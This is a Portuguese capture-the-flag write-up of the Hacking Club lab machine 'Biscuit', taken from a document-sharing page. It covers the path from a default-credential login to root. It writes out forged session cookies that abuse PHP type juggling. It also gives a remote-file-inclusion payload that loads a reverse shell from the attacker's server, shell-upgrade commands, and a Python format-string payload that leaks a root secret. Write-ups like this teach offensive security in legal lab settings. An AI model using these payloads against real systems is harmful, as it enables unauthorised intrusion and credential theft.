Você está na página 1de 17

Write-Up - Biscuit

Write-up biscuit

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não
sabe por onde começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para
praticar suas habilidades e acesso a uma comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:

Write-Up - Biscuit 1
Ports:

Porta 22 - SSH

Porta 80 - HTTP

Porta 111 - RCPBIND

Aqui temos a porta 80 que indica que temos um site em execução, também temos a porta 22 do SSH

Olhando o site temos um campo de login

Write-Up - Biscuit 2
FUZZ:

Write-Up - Biscuit 3
Fazendo um fuzzing de arquivos e diretórios não obtivemos nada de interessante, apenas um diretório
/class com um arquivo .php

Voltando a página de login, podemos tentar algumas credenciais padrões:

admin:admin
root:root
administration:administration
guest:guest

Tentando com "guest:guest" conseguimos logar no sistema

Write-Up - Biscuit 4
Aparentemente temos apenas uma página de boas vindas, mas ao olhar a parte de storage no
navegador, temos um cookie de sessão

Usando o cyberchef pra decodificar o cookie, posso ver que se trata de um cookie no formato em
JSON com três valores:

Write-Up - Biscuit 5
1. hmac - Hash Message Authentication Code, fornece um mecanismo fácil para verificar a
autenticidade do usuário e se uma mensagem não foi adulterada

2. username - nome de usuário

3. expiration - horário para o cookie se expirar

Sabendo disso, vamos alterar o username para admin e depois codifica-ló em base64+ulr_encode

Write-Up - Biscuit 6
Trocando o cookie, recebemos uma mensagem de erro e a flag

Exploração:

https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf

Existe uma vulnerabilidade bem conhecida em php que se chama Type Juggling
O PHP tem um recurso chamado “malabarismo de tipo” ou “coerção de tipo”. Isso significa que durante
a comparação de variáveis de tipos diferentes, o PHP primeiro os converterá em um tipo comum
comparável.

Write-Up - Biscuit 7
No entanto, problemas de malabarismo de tipo podem ser explorados se o aplicativo aceita a entrada
por meio de funções como json_decode () ou unserialize () . Dessa forma, seria possível para o usuário
final especificar o tipo de entrada transmitida.

{“Senha”: “0”}
{“Senha”: 0}

Considere os blobs JSON acima. O primeiro faria com que o parâmetro da senha fosse tratado como
uma string, enquanto o segundo faria com que a entrada fosse interpretada como um inteiro pelo PHP.
Isso dá ao invasor um controle refinado do tipo de dados de entrada e, portanto, a capacidade de
explorar problemas de malabarismo de tipo.
Voltando a exploração do cookie, podemos passar true para o campo do hmac, e com isso podemos
modificar nosso cookie sem problemas.
Sabendo disso, irei novamente alterar o campo username para admin, mas agora passando true para
o valor do hmac.
base64 + urlencode:

{"hmac":true,"username":"admin","expiration":1630950564}

Conseguimos logar como admin, mas não temos nada de interessante 🙁

Write-Up - Biscuit 8
Após passar um valor aleatório no campo username, ele me trouxe uma página de erro

Write-Up - Biscuit 9
{"hmac":true,"username":"abcd","expiration":1630950564}

Write-Up - Biscuit 10
Na página de erro podemos ver que ele usa a função require_once e adiciona o .php no final do nosso
valor.
require_once é utilizado para incluir páginas e arquivos php etc, como nós temos controle do campo
username, podemos tentar explorar essa função.
Vou abusar da vulnerabilidade de RFI (remote file inclusion)
Somos capazes de carregar e executar código arbitrário disponível remotamente no aplicativo.
Para isso utilizarei uma reverse shell em php do pentest monkey

php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell


Contribute to pentestmonkey/php-reverse-shell development by creating an account on GitHub.

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Write-Up - Biscuit 11
Em seguida vou subir um servidor em python para servir nossa reverse shell, assim quando ele fizer a
requisição para o nosso servidor em python ele irá incluir o nosso arquivo.

{"hmac":true,"username":"http://ip-vpn/php-reverse-shell","expiration":1630950564}

obs: não precisa colocar a exetensão .php , pois o servidor irá colocar automaticamente.

Netcat para ficar ouvindo em uma porta para nós recebermos nossa conexão reversa.

Ao enviar nossa payload, recebemos a conexão 😃

Write-Up - Biscuit 12
Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Encontraremos a nossa segunda flag no diretório raiz → /

ROOT

Format String Vulnerabilities

What Are Format String Vulnerabilities?


Format strings are used in many programming languages to insert values into a text
string. In some cases, this mechanism can be abused to perform buffer overflow
attacks, extract information or execute arbitrary code. This article takes a closer look
https://www.netsparker.com/blog/web-security/format-string-vulnerabilities/

As strings de formato são usadas em muitas linguagens de programação para inserir valores em uma
string de texto. Em alguns casos, esse mecanismo pode ser abusado para realizar ataques de estouro
de buffer, extrair informações ou executar código arbitrário.

Write-Up - Biscuit 13
Indo em /opt vejo que não podemos ler o arquivo biscuit_checker.py e nem modifica-ló, mas podemos
executa-ló com permissões do usuário root.

Indo no diretório /var/www/ html tem um arquivo chamado block.ips.db.json, esse arquivo está sendo
chamado pelo o script em python, se modificarmos esse arquivo, ele nos retorna um erro.

Write-Up - Biscuit 14
Os objetos Python podem acessar muitos atributos internos, incluindo um dicionário de variáveis
globais, com isso conseguimos extrair informações imprimindo todas as variáveis globais que o arquivo
utiliza.

Write-Up - Biscuit 15
{"ips":["{ip.list_blocked.__globals__}"]}

Com isso temos uma variável root_secret com um valor, que é a senha do usuário root, assim
podemos capturar a última flag que está no diretório do usuário root.

Write-Up - Biscuit 16
Write-Up - Biscuit 17

Você também pode gostar